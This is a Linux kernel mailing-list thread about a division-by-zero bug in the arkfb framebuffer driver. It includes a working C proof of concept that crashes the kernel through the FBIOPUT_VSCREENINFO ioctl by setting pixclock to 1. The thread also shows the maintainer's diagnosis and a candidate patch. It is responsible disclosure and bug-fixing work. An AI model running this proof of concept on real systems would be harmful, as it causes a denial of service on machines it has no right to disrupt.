Hello,
I found a bug in the arkfb driver in the latest kernel, which may cause DoS.
The reason for this bug is that the user controls some input to ioctl,
making 'mode' 0x7 on line 704, which causes hdiv = 1, hmul = 2, and if
the pixclock is controlled to be 1, it will cause a division error in
the function ark_set_pixclock().
Here is a simple PoC:
#include <fcntl.h>
#include <stdio.h>
#include <sys/ioctl.h>
typedef unsigned int __u32;
#define FBIOPUT_VSCREENINFO 0x4601
struct fb_bitfield {
__u32 offset; /* beginning of bitfield */
__u32 length; /* length of bitfield */
__u32 msb_right; /* != 0 : Most significant bit is */
/* right */
};
struct fb_var_screeninfo {
__u32 xres; /* visible resolution */
__u32 yres;
__u32 xres_virtual; /* virtual resolution */
__u32 yres_virtual;
__u32 xoffset; /* offset from virtual to visible */
__u32 yoffset; /* resolution */
__u32 bits_per_pixel; /* guess what */
__u32 grayscale; /* 0 = color, 1 = grayscale, */
/* >1 = FOURCC */
struct fb_bitfield red; /* bitfield in fb mem if true color, */
struct fb_bitfield green; /* else only length is significant */
struct fb_bitfield blue;
struct fb_bitfield transp; /* transparency */
__u32 nonstd; /* != 0 Non standard pixel format */
__u32 activate; /* see FB_ACTIVATE_* */
__u32 height; /* height of picture in mm */
__u32 width; /* width of picture in mm */
__u32 accel_flags; /* (OBSOLETE) see fb_info.flags */
/* Timing: All values in pixclocks, except pixclock (of course) */
__u32 pixclock; /* pixel clock in ps (pico seconds) */
__u32 left_margin; /* time from sync to picture */
__u32 right_margin; /* time from picture to sync */
__u32 upper_margin; /* time from sync to picture */
__u32 lower_margin;
__u32 hsync_len; /* length of horizontal sync */
__u32 vsync_len; /* length of vertical sync */
__u32 sync; /* see FB_SYNC_* */
__u32 vmode; /* see FB_VMODE_* */
__u32 rotate; /* angle we rotate counter clockwise */
__u32 colorspace; /* colorspace for FOURCC-based modes */
__u32 reserved[4]; /* Reserved for future compatibility */
};
struct fb_var_screeninfo var;
int main(void) {
int fd, ret;
fd = open("/dev/fb0", O_RDONLY);
if (fd < 0) {
perror("Failed to open the device");
return 1;
}
var.xres = 40;
var.yres = 40;
var.hsync_len = 1;
var.vsync_len = 1;
var.pixclock = 1;
var.bits_per_pixel = 32;
ret = ioctl(fd, FBIOPUT_VSCREENINFO, &var);
if (ret < 0) {
perror("Failed to call the ioctl");
return 1;
}
return 0;
}
The easiest patch is to check the value of the argument 'pixclock' in
the ark_set_pixclock function, but this is perhaps too late, should we
do this check earlier? I'm not sure, so I'll report this bug to you.
regards,
Zheyu Ma
* Zheyu Ma <[email protected]>:
> I found a bug in the arkfb driver in the latest kernel, which may cause DoS.
>
> The reason for this bug is that the user controls some input to ioctl,
> making 'mode' 0x7 on line 704, which causes hdiv = 1, hmul = 2, and if
> the pixclock is controlled to be 1, it will cause a division error in
> the function ark_set_pixclock().
You are right.
I see in:
drivers/video/fbdev/arkfb.c:784: ark_set_pixclock(info, (hdiv * info->var.pixclock) / hmul);
with hdiv=1, pixclock=1 and hmul=2 you end up with (1*1)/2 = (int) 0.
and then in
drivers/video/fbdev/arkfb.c:504: rv = dac_set_freq(par->dac, 0, 1000000000 / pixclock);
you'll get a division-by-zero.
> The easiest patch is to check the value of the argument 'pixclock' in
> the ark_set_pixclock function, but this is perhaps too late, should we
> do this check earlier? I'm not sure, so I'll report this bug to you.
Yes, I think it should be done earlier.
Geert always mentioned that an invalid pixclock from userspace should be
rounded up to the next valid pixclock.
But since I don't have that hardware, I'm not sure how this can be done
best for this driver.
Do you have the hardware to test?
If so, could you check the patch below?
It should at least prevent the division-by-zero.
If it works, I'm happy if you could send a final patch...
Helge
diff --git a/drivers/video/fbdev/arkfb.c b/drivers/video/fbdev/arkfb.c
index eb3e47c58c5f..ed76ddc7df3d 100644
--- a/drivers/video/fbdev/arkfb.c
+++ b/drivers/video/fbdev/arkfb.c
@@ -781,7 +781,12 @@ static int arkfb_set_par(struct fb_info *info)
return -EINVAL;
}
- ark_set_pixclock(info, (hdiv * info->var.pixclock) / hmul);
+ value = (hdiv * info->var.pixclock) / hmul;
+ if (!value) {
+ fb_dbg(info, "invalid pixclock\n");
+ value = 1;
+ }
+ ark_set_pixclock(info, value);
svga_set_timings(par->state.vgabase, &ark_timing_regs, &(info->var), hmul, hdiv,
(info->var.vmode & FB_VMODE_DOUBLE) ? 2 : 1,
(info->var.vmode & FB_VMODE_INTERLACED) ? 2 : 1,
Hi,
On Mon, Aug 1, 2022 at 12:35 PM Helge Deller <[email protected]> wrote:
>
> * Zheyu Ma <[email protected]>:
> > I found a bug in the arkfb driver in the latest kernel, which may cause DoS.
> >
> > The reason for this bug is that the user controls some input to ioctl,
> > making 'mode' 0x7 on line 704, which causes hdiv = 1, hmul = 2, and if
> > the pixclock is controlled to be 1, it will cause a division error in
> > the function ark_set_pixclock().
>
> You are right.
> I see in:
> drivers/video/fbdev/arkfb.c:784: ark_set_pixclock(info, (hdiv * info->var.pixclock) / hmul);
> with hdiv=1, pixclock=1 and hmul=2 you end up with (1*1)/2 = (int) 0.
> and then in
> drivers/video/fbdev/arkfb.c:504: rv = dac_set_freq(par->dac, 0, 1000000000 / pixclock);
> you'll get a division-by-zero.
>
> > The easiest patch is to check the value of the argument 'pixclock' in
> > the ark_set_pixclock function, but this is perhaps too late, should we
> > do this check earlier? I'm not sure, so I'll report this bug to you.
>
> Yes, I think it should be done earlier.
>
> Geert always mentioned that an invalid pixclock from userspace should be
> rounded up to the next valid pixclock.
> But since I don't have that hardware, I'm not sure how this can be done
> best for this driver.
>
> Do you have the hardware to test?
> If so, could you check the patch below?
Thanks for your patch, it works for me :)
> It should at least prevent the division-by-zero.
> If it works, I'm happy if you could send a final patch...
I've sent a patch to the mailing list, thanks again for your reminder.
regards,
Zheyu Ma